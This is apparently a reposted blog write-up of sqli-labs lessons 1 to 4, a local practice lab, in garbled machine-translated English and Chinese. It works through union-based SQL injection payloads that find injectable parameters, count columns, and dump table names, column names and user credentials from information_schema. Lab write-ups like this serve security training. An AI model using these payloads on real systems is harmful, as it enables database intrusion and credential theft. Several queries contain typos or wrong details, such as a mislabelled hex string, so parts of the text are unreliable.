sqli-labs lesson1-4

  EDITORIAL:

  The first four are based off the basic GET SQL injection

  There is a system INFORMATION_SCHEMA Mysql database, stores all related information database, typically use this database for SQL injection.

  Because most implants require URL encoding, URL encoding Here are commonly reserved characters:

 

 

 

LESSON  1:

  1. First, injection type is determined:

  First input id = 1 'that is id = 1% 27 try, there have been about one-match quotes there is a problem so error, that we add the single quotes are parsed database, it may be injected into the character, we can close a single quotes allow the database to perform database statements we enter the attack.

  

 

  Try to enter id = 1 'and' 1 '=' 1 # Query success!

  

  Try entering id = 1 'and' 1 '=' 2 # query fails, the character is determined injection point

  

 

 2. Make sure there are several fields.

  General use order by statement, you can quickly guess by binary search.

  http://127.0.0.1/sqli-labs-master/Less-1/?id=1 'order by 2% 23 successfully executed

  http://127.0.0.1/sqli-labs-master/Less-1/?id=1 'order by 3% 23 successfully executed

  http://127.0.0.1/sqli-labs-master/Less-1/?id=1 'order by 4% 23 fails

  

 

  Description There are three display field. Because the results of the implementation of the SQL statement only the first line will be echoed to the page, so the result we want to set the original statement becomes empty, so we want the results to be displayed on the screen, after several fields that need to query It is displayed on the page:

  Executing the statement: id = 0 'union select 1,2,3% 23

  Here we need to find an id value that is not in the database, I use 0, of course, what ah like 9999 can also be ...

  判断出显示的字段只有2,3 (这里注意用%23代替#来避免与URL本身的锚点冲突)

  

 

   利用 user(),version(),database()函数获取数据库用户,版本,和所连接的数据库名

  这里嗨利用的concat_ws()函数,这个函数的定义是concat_ws(separator,str1,str2) 函数 用分隔符separator连接两个字符串str1和str2,例如 分隔符为-  就实现了str1-str2

  我这里用的是下划线_ :

  

 

   数据库名为 security。

  接下来获取security这个数据库中有哪些数据表:

  写一下关于group_concat()函数:

  这个函数的定义是:group_concat(str1,str2) 函数  将多行查询结果以逗号分隔全部输出。也就是所有的内容都会输出,concat_ws()只会连接几个字符,比如参数是str1 str2 分隔符为, 那么最后输出结果就只是 str1 , str2

  id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() %23

  

 

  那么大概率用户名和密码会在users这个数据表中

  接下来爆列:

id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' %23

 这里推荐将‘users’ 用十六进制表示,可以防止转义 ' 带来的麻烦 (‘users’的十六进制表示为:0x7365637572697479)

  

 

   获取username和password即可。还用之前使用的concat_ws函数和group_concat函数即可:

    这里写一下:

  group_concat(concat_ws(seperator,str1,str2)) 函数
  将多行查询结果以逗号分隔全部输出,每一行的结果可用设置的分隔符作字段的间隔

  id=0' union select 1,group_concat(concat_ws('-',username,password)),3 from 'users' %23  

  

 

  完成!

 

  

LESSON 2 :

    首先还是先判断注入类型

   我依次输入了 id=1 执行成功, id=1 and 1=1 执行成功,

     id=1 and 1=2 出错 没有查出东西,所以推断这是 数字型注入。

  

 

 

   接下来还是常规操作,因为没有单引号限制,不需要闭合单引号了。

  查询有几个字段,可以回显的字段有哪些。 可以参考第一关。

  可以看到还是只有3个字段。

  

 

   查询哪几个字段可以回显出来:(这里依然还是要注意找一个不存在的id值,否则数据库无法执行后面union select语句)

  

 

   回显的还是第2,3个字段...

  那接下来还是参考lesson 1的操作,获取数据库名,获取数据库所有的表名,获取可能存有用户名和密码所在数据表的所有列,获取所需的用户名和密码信息。步骤基本与lesson 1一致 我就不详细赘述了,下面附上每一步的截图和所需语句(截图中有)。

  获取所连接数据库名,用户,和版本(表名:security)

  

 

  获取数据库中所有的表:

  id=0 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() %23

   

 

   获取users表中的所有列:

  id=0 union select 1,group_concat(column_name),3 from infomation_schema.columns where table_name = 'users' %23

    

 

   同样的,假设我们还是只要用户名和密码的话还是获取username和password:

  id=0 union select 1,group_concat(concat_ws('-',username,password)),3 from users %23

  

 

 完成!

  

 

LESSON 3:

  还是先判断是什么注入类型:

  输入id=1' 报错 。根据提示可以猜到 应该是单引号加括号包裹参数

  其SQL语句应该是 select * from * where id=('$id')LIMIT 0,1

  那思路还是和lesson 1差不多  闭合‘) 构造SQL注入语句

  

 

   猜解有几个字段回显并且分别是第几个:

  id=1') order by 3 %23 执行成功

  id=1') order by 4 %23 出错  所以还是3个字段

   

 

   查看回显字段:

  id=0') union selcet 1,2,3 %23

  

 

   获取所连数据库名:

  id=0') union select 1,database(),3 %23

  

 

   爆表:

  id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

  

 

  爆列:

  id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23

   

 

 获取用户名密码:

 id=0') union select 1,group_concat(concat_ws('-',username,password)),3 from users %23

 

 

  完成!

  

LESSON 4:

  加单引号正常,加单引号和括号也正常,加双引号报错

  

 

   说明是双引号+括号包裹id参数(即id=(“$id”)),那么直接闭合双引号构造注入语句就OK,和上面基本一样。下面直接附上步骤截图,不再赘述。

  

 

   和之前回显字段也相同,直接闭合“)构造语句即可。

  获取数据库名、版本、用户:

  

 

   获取当前数据库内所有表名:

  

 

 

  获取users表内所有列:

  

 

   获取账户信息:

  

  

  

  

 

  

   

  

  

 

  

  

 

 

 

  

Guess you like

Origin www.cnblogs.com/Zh1z3ven/p/12402668.html